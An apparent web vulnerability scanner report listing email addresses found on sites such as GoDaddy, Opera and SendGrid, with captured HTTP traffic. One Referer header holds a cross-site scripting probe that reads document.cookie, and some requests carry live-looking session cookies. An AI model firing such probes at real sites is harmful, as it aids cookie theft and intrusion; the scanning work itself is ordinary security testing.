The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

19.1. http://bstats.adbrite.com/click/bstats.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bstats.adbrite.com
Path:	/click/bstats.gif

Issue detail

The following email address was disclosed in the response:

4e737a2c@www.drugstore.com

Request

GET /click/bstats.gif?kid=46037273&bapid=7622&uid=740987 HTTP/1.1
Host: bstats.adbrite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/?ec1bb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E204f91ee9a2=1
Cookie: Apache="168296556x0.184+1312290886x-1235322650"; ut="1%3AJcxLCoAgFEDRvbyxgwyKcDdWGml%2BC0167r3f9HK4F6QW2AValOzivAOD6PomIc3DIBVSbIj3x%2BGQJtn75QtRhK1Dejpuwi%2BsKvIRk9fmDUBg5NaKuH5HqPUG"; rb2=EAE; vsd=0@1@4e7379a2@www.drugstore.com; srh="1%3Aq64FAA%3D%3D"

Response

HTTP/1.1 200 OK
Content-Type: image/gif
Set-Cookie: ut="1%3AHczdEkAgEEDhd9nrLkrDGG%2FjpwxRKynGend0e%2Babc0MsoLnBqCs5P%2BzQgHcVjyRSXeuZBHGGGIIjEXWFYw5ebUtJ4nTtZkiSPBja%2BdIf6dGsPwEGXWut8lNewvO8"; path=/; domain=.adbrite.com; expires=Mon, 13-Sep-2021 16:32:44 GMT
Set-Cookie: vsd=0@3@4e737a2c@www.drugstore.com; path=/; domain=.adbrite.com; expires=Sun, 18-Sep-2011 16:32:44 GMT
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Connection: close
Server: XPEHb/1.0
Accept-Ranges: none
Date: Fri, 16 Sep 2011 16:32:44 GMT
Content-Length: 42

GIF89a.............!.......,........@..D.;

19.2. http://bstats.adbrite.com/click/bstats.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bstats.adbrite.com
Path:	/click/bstats.gif

Issue detail

The following email address was disclosed in the response:

4e7379a2@www.drugstore.com

Request

Response

19.3. http://help.securepaynet.net/javascripts/lib/controls.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.securepaynet.net
Path:	/javascripts/lib/controls.js

Issue detail

The following email address was disclosed in the response:

tdd@tddsworld.com

Request

GET /javascripts/lib/controls.js HTTP/1.1
Host: help.securepaynet.net
Proxy-Connection: keep-alive
Referer: http://help.securepaynet.net/topic/168/article/5246?plid=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:09:33 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5
Last-Modified: Tue, 13 Sep 2011 01:54:24 GMT
ETag: "1eb9bea-87e3-4acc8ec419400"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 34787
Content-Type: application/javascript

// script.aculo.us controls.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005-2010 Ivan Krstic (htt
...[SNIP]...
<tdd@tddsworld.com>
...[SNIP]...

19.4. http://httpd.apache.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://httpd.apache.org
Path:	/

Issue detail

The following email address was disclosed in the response:

docs@httpd.apache.org

Request

GET / HTTP/1.1
Host: httpd.apache.org
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server#pq=smtp+server&hl=en&sugexp=gsis%2Ci18n%3Dtrue&cp=2&gs_id=7&xhr=t&q=web+server&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=we+server&aq=0c&aqi=g-c4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.&fp=b659e1e8b520709&biw=1147&bih=870
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:16:46 GMT
Server: Apache/2.3.15-dev (Unix) mod_ssl/2.3.15-dev OpenSSL/1.0.0c
Last-Modified: Wed, 14 Sep 2011 06:24:38 GMT
ETag: "286ed7-25a8-4ace0d086f580-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 9640
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/
...[SNIP]...
<meta name="email" content="docs@httpd.apache.org" />
...[SNIP]...

19.5. http://i.ubm-us.net/shared/omniture/ubm_h_s_code_remote.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i.ubm-us.net
Path:	/shared/omniture/ubm_h_s_code_remote.js

Issue detail

The following email address was disclosed in the response:

id@Ls.tc

Request

GET /shared/omniture/ubm_h_s_code_remote.js HTTP/1.1
Host: i.ubm-us.net
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:13 GMT
Server: Apache
Last-Modified: Tue, 02 Aug 2011 14:21:48 GMT
Accept-Ranges: bytes
Cache-control: public, max-age=86400
Content-Type: application/x-javascript
Connection: keep-alive
Keep-Alive: timeout=30, max=99
Vary: Accept-Encoding, User-Agent
Content-Length: 24075

/* SiteCatalyst code version: H.16.
Copyright 1997-2010 Omniture, Inc. More info available at
http://www.omniture.com */

var s_account="cmpglobalvista"
var s=s_gi(s_account)
/******************
...[SNIP]...
hav()+q+(qs?qs:s.rq(^C)),0,id,ta);qs`e;`Wm"
+"('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@h;`l@h`L^9,`G$61',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$w)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Btc=1;s.flush`a()}`2$l`Atl`0o,t,n,"
+"vo`1;s.@G=@vo`R`N^M=t;s.`N`i=n;s.t(@h}`5pg){`F@0co`0o){`K@J\"_\",1,#A`2@vo)`Awd@0gs`0$S{`K@J$o1,#A`2s.t()`Awd@0dc`0$S{`K@J$o#A`2s.t()}}@3=(`F`J`Y`8`4@ts@d0`Rd=^L
...[SNIP]...

19.6. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.7. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.8. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.9. http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img3.wsimg.com
Path:	/pc/js/1/gd_js_20110817.min.js

Issue detail

The following email address was disclosed in the response:

YourEmail@YourWebsite.com

Request

GET /pc/js/1/gd_js_20110817.min.js HTTP/1.1
Host: img3.wsimg.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Thu, 18 Aug 2011 00:52:01 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 35969
Cache-Control: max-age=3888000
Date: Fri, 16 Sep 2011 18:05:33 GMT
Connection: close

var $pc=jQuery;var agt=navigator.userAgent.toLowerCase();var pcj_isIe=agt.indexOf("msie")!=-1;var pcj_isIe6under=false;if(pcj_isIe){pcj_isIe6under=(agt.indexOf("msie 6")!=-1||agt.indexOf("msie 5")!=-1
...[SNIP]...
=true;if(a.stopPropagation){a.stopPropagation()}if(a.preventDefault){a.preventDefault()}return false}function pcj_vemail(d){var c=true;var a=-1;var b=-1;if(c){tmp=d;a=tmp.indexOf("@");if((a>0)&&(tmp!="YourEmail@YourWebsite.com")&&(tmp.length<=500)){b=tmp.indexOf(".",a);if(tmp.length<=b+2){c=false}}else{c=false}}return c}function pcj_signup(){var a=document.getElementById("pcf_email");if(a.value.length>
...[SNIP]...

19.10. http://labs.opera.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://labs.opera.com
Path:	/

Issue detail

The following email address was disclosed in the response:

29BA08F9-96C7-44BC-BE23-9E163E5D8DEA@apple.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:17 GMT
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 54597

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en
...[SNIP]...
<a href="http://www.w3.org/mid/29BA08F9-96C7-44BC-BE23-9E163E5D8DEA@apple.com">
...[SNIP]...

19.11. http://livechat.iadvize.com/chat_init.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/chat_init.js

Issue detail

The following email addresses were disclosed in the response:

idzelie@iadvize.com
idzmailjetc@iadvize.com
watch.999@iadvize.com

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 15:26:51 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; expires=Sun, 15-Sep-2013 15:26:50 GMT; path=/
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A0%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A2%2C%22connectionTime%22%3A1316186809%2C%22navTime%22%3A1000%2C%22referrer_lastPage%22%3A%22http%3A%5C%2F%5C%2Fwww.mailjet.com%5C%2Ffeatures%5C%2Fsmtp-relay-service.html%3Fgclid%3DCKqV0feJoqsCFQdzgwod6j2wjw%22%2C%22timeElapsed%22%3A0.02%7D; path=/
Expires: Mon, 22 Jan 1978 12:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 42161

if(typeof(iAdvize) !== 'object'){

if (/Safari/.test(navigator.userAgent) && !(/Chrome/.test(navigator.userAgent))) {
   var Sbody = document.getElementsByTagName( 'BODY' )[ 0 ];
   var newNode = docume
...[SNIP]...
315764257',libloaded:false,coreloaded:false,chatloaded:false,eventloaded:false,findopTM:null,attach:0,init_done:0,paused:0,opOffline:0,c2cOffline:1,opWatching:0,opBusy:0,on_call:0,virtualOP:0,opList:["idzmailjetc@iadvize.com","idzelie@iadvize.com"],phoneDisplayed:0,butMessage:false,mousetrack_interval:null,curlang:'en',chaturl:'http://livechat.iadvize.com/',static_url:'http://static.iadvize.com/',bosh_url:'http://www.iadvize.com/http-bind',web
...[SNIP]...
</a>.";
iAdvize.bosh_host = "iadvize.com";
iAdvize.watcher_jid = 'watch.999@iadvize.com';

iAdvize2.addDOMLoadEventFunc = function() {
   if (iAdvize.scriptLoaded === true
   || (iAdvize2.scriptLoaded === true)) {
       iAdvize.util.error('IADVIZE SCRIPT ALREADY LOADED');
       return;
   }

   iAdv
...[SNIP]...

19.12. https://login.secureserver.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/

Issue detail

The following email address was disclosed in the response:

john@domain.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4096
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<p class="domain">Example: john@domain.com</p>
...[SNIP]...

19.13. http://media.ubm.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://media.ubm.com
Path:	/

Issue detail

The following email addresses were disclosed in the response:

communications@ubm.com
nicola.smith@citigatedr.co.uk

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:13 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 19562

...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta content="text/htm
...[SNIP]...
<a href="mailto:communications@ubm.com">communications@ubm.com</a>
...[SNIP]...
<a href="mailto:communications@ubm.com">communications@ubm.com</a>
...[SNIP]...
<a href="mailto:nicola.smith@citigatedr.co.uk">nicola.smith@citigatedr.co.uk</a>
...[SNIP]...

19.14. https://my.opera.com/community/signup/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://my.opera.com
Path:	/community/signup/

Issue detail

The following email address was disclosed in the response:

xss@xss.cx

Request

GET /community/signup/?username=xss&email=xss%40xss.cx&utm_source=&referrer=&error=Wrong-text-entered HTTP/1.1
Host: my.opera.com
Connection: keep-alive
Referer: https://my.opera.com/community/signup/?s_ref=home
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=218314117.1470107793.1316208001.1316208001.1316208001.1; __utmb=218314117.1.10.1316208001; __utmc=218314117; __utmz=218314117.1316208001.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 16:23:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-MyO-Request: 1316190216.myo.cDoyNzowMzowMA==
Content-Length: 7020

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...
<input type="email" name="email" value="xss@xss.cx" id="enter-email" required="required" title="Please enter a valid e-mail address to complete the registration process." data-msg-invalid="Please enter a valid e-mail address to complete the registrati
...[SNIP]...

19.15. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.16. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.17. http://sendgrid.com/features previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sendgrid.com
Path:	/features

Issue detail

The following email address was disclosed in the response:

support@sendgrid.com

Request

Response

19.18. http://sendgrid.com/pricing.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sendgrid.com
Path:	/pricing.html

Issue detail

The following email address was disclosed in the response:

support@sendgrid.com

Request

Response

19.19. https://sendgrid.com/user/signup/package/44 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sendgrid.com
Path:	/user/signup/package/44

Issue detail

The following email address was disclosed in the response:

support@sendgrid.com

Request

Response

19.20. http://shoprunner.force.com/content/JsContentElementsDRGS previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shoprunner.force.com
Path:	/content/JsContentElementsDRGS

Issue detail

The following email address was disclosed in the response:

MemberServices@ShopRunner.com

Request

Response

HTTP/1.1 200 OK
Server:
X-Powered-By: Salesforce.com ApexPages
P3P: CP="CUR OTR STA"
Last-Modified: Fri, 16 Sep 2011 16:30:03 GMT
Content-Type: text/javascript; charset=UTF-8
Content-Length: 117074
Vary: Accept-Encoding
Cache-Control: public, max-age=30
Expires: Fri, 16 Sep 2011 16:31:05 GMT
Date: Fri, 16 Sep 2011 16:30:35 GMT
Connection: close

function sr_run(){
return false
}

/* -----------------------------------------
* Global Variables
----------------------------------------- */
//the shoprunner object
var sr_$={};
sr_$.contents={}
...[SNIP]...
<a href="mailto:MemberServices@ShopRunner.com">MemberServices@ShopRunner.com</a>
...[SNIP]...
<a href="mailto:MemberServices@ShopRunner.com">MemberServices@ShopRunner.com</a>
...[SNIP]...
<a href="mailto:MemberServices@ShopRunner.com">MemberServices@ShopRunner.com</a>
...[SNIP]...
<a href="mailto:MemberServices@ShopRunner.com">MemberServices@ShopRunner.com</a>
...[SNIP]...

19.21. https://support.socketlabs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/

Issue detail

The following email address was disclosed in the response:

filter@socketlabs.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:04 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Vary: Accept-Encoding
Content-Length: 26050
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="auth
...[SNIP]...
href="https://support.socketlabs.com/index.php/Knowledgebase/Article/View/45/2/why-am-i-seeing-messages-from-my-account-going-to-filtersocketlabscom">Why am I seeing messages from my account going to filter@socketlabs.com</a>
...[SNIP]...

19.22. https://support.socketlabs.com/index.php/Core/Default/Compressor/js/jquery:jqueryplugins:jqueryui:colorpicker:coresc previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://support.socketlabs.com
Path:	/index.php/Core/Default/Compressor/js/jquery:jqueryplugins:jqueryui:colorpicker:coresc

Issue detail

The following email addresses were disclosed in the response:

bdillard@pathf.com
diego@fyneworks.com
letssurf@gmail.com
maggie@filamentgroup.com
scott@filamentgroup.com
stanlemon@mac.com

Request

GET /index.php/Core/Default/Compressor/js/jquery:jqueryplugins:jqueryui:colorpicker:coresc HTTP/1.1
Host: support.socketlabs.com
Connection: keep-alive
Referer: https://support.socketlabs.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYyJjI4OTYxOSYxMzE2MTg2Nzk5NDEwJjEzMTYxODcwODkwMjgmaHR0cCUzQSUyRiUyRnd3dy5nb29nbGUuY29tJTJGc2VhcmNoJTNGc291cmNlaWQlM0RjaHJvbWUlMjZpZSUzRFVURi04JTI2cSUzRHNtdHAlMkJzZXJ2ZXImMTAxJnNtdHArc2VydmVyJjUwMDI1OSYmJiY=; SWIFT_client=a%3A1%3A%7Bs%3A15%3A%22templategroupid%22%3Bs%3A1%3A%221%22%3B%7D; SWIFT_sessionid40=es1qz018py0u704q2o1k7083rf1lm0bf

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:22:04 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-1ubuntu9.1
Expires: Sat, 17 Sep 2011 15:22:04 GMT
Cache-Control: max-age=3600, must-revalidate
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript
Content-Length: 450462

/*!
* jQuery JavaScript Library v1.4.2
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Siz
...[SNIP]...
d|visible|clearTimeout|add|appendChild|mousedown|mouseup||keydown|keypress|unbind'.split('|'),0,{}));

/*
### jQuery Multiple File Upload Plugin v 1.29 - 2008-06-26 ###
* http://www.fyneworks.com/ - diego@fyneworks.com
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
###
Project: http://jquery.com/plugins/project/Mult
...[SNIP]...
.cookieJar - Cookie Jar Plugin
*
* Version: 1.0.1
* Updated: 2007-08-14
*
* Used to store objects, arrays or multiple values in one cookie, under one name
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/cookieJar/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery (John Resig, htt
...[SNIP]...
lideDown|describedby|fadeIn|removeAttribute|log|error|505050|webkit|removeAttr|404040|constants'.split('|'),0,{}))

/*
Copyright (c) 2007 Brian Dillard and Brad Neuberg:
Brian Dillard | Project Lead | bdillard@pathf.com | http://blogs.pathf.com/agileajax/
Brad Neuberg | Original Project Creator | http://codinginparadise.org

Permission is hereby granted, free of charge, to any person obtaining a copy of this softw
...[SNIP]...
<ul> markup
Version: 3.0, 03.31.2009

By: Maggie Costello Wachs (maggie@filamentgroup.com) and Scott Jehl (scott@filamentgroup.com)
http://www.filamentgroup.com
* reference articles: http://www.filamentgroup.com/lab/jquery_ipod_style_drilldown_menu/

Copyright (c) 2009 Filament Group
Dual licensed under the MIT (filamentgroup.c
...[SNIP]...
<stanlemon@mac.com>
...[SNIP]...

19.23. http://thehackernews.com/feeds/posts/summary previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thehackernews.com
Path:	/feeds/posts/summary

Issue detail

The following email addresses were disclosed in the response:

anonymous_indian@hushmail.me
answerman@gmail.com
antisec@gmx.com
noreply@blogger.com

Request

GET /feeds/posts/summary?alt=json-in-script&callback=showpageCount&max-results=99999 HTTP/1.1
Host: thehackernews.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=93595608.1834991741.1316213726.1316213726.1316213726.1; __utmb=93595608.1.10.1316213726; __utmc=93595608; __utmz=93595608.1316213726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Expires: Fri, 16 Sep 2011 17:54:38 GMT
Date: Fri, 16 Sep 2011 17:54:38 GMT
Cache-Control: private, max-age=0
Last-Modified: Fri, 16 Sep 2011 17:50:54 GMT
ETag: W/"D0MBRXszeil7ImA9WhdVEUQ."
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 868000
Server: GSE

// API callback
showpageCount({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$georss":"http://www.
...[SNIP]...
d99999"},{"rel":"alternate","type":"text/html","href":"http://thehackernews.com/"},{"rel":"hub","href":"http://pubsubhubbub.appspot.com/"}],"author":[{"name":{"$t":"Team : Evilhackerz"},"email":{"$t":"noreply@blogger.com"}}],"generator":{"version":"7.00","uri":"http://www.blogger.com","$t":"Blogger"},"openSearch$totalResults":{"$t":"2017"},"openSearch$startIndex":{"$t":"1"},"openSearch$itemsPerPage":{"$t":"99999"},"en
...[SNIP]...
/09/spyeye-trojan-stole-32-million-from-us.html","title":"SpyEye Trojan stole $3.2 million from US victims,Android users will be next target !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-SozgZ8W8HII/TnOKbNxKPcI/AAAAAAAAC-k/A2wUIuePVcw/s72-c/AndroidInfected-550x412.jpg","height":"72","
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html","title":"GoDaddy websites Compromised with Malware"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-sMxWJBTSHpA/TnOJcW1dkhI/AAAAAAAAC-g/Wwg1vF0oC2o/s72-c/godaddy-servers-hacked.jpg","height":"72","w
...[SNIP]...
11/09/oclhashcat-plus-v006-worlds-fastest.html","title":"oclHashcat-plus v0.06 - Worlds fastest md5crypt, phpass, mscash2 and WPA/WPA2 cracker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-AWMtdMMJXlY/TnOFVg0e8GI/AAAAAAAAC-c/EKQSTuBPS6o/s72-c/oclhashcat-plus.png","height":"72","width":"
...[SNIP]...
/thehackernews.com/2011/09/wavsep-103-web-application.html","title":"WAVSEP 1.0.3 ... Web Application Vulnerability Scanner Evaluation Project"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-JYNxHu4tFB4/TnLPN5nSj7I/AAAAAAAAC-Y/bxCJnacekIw/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
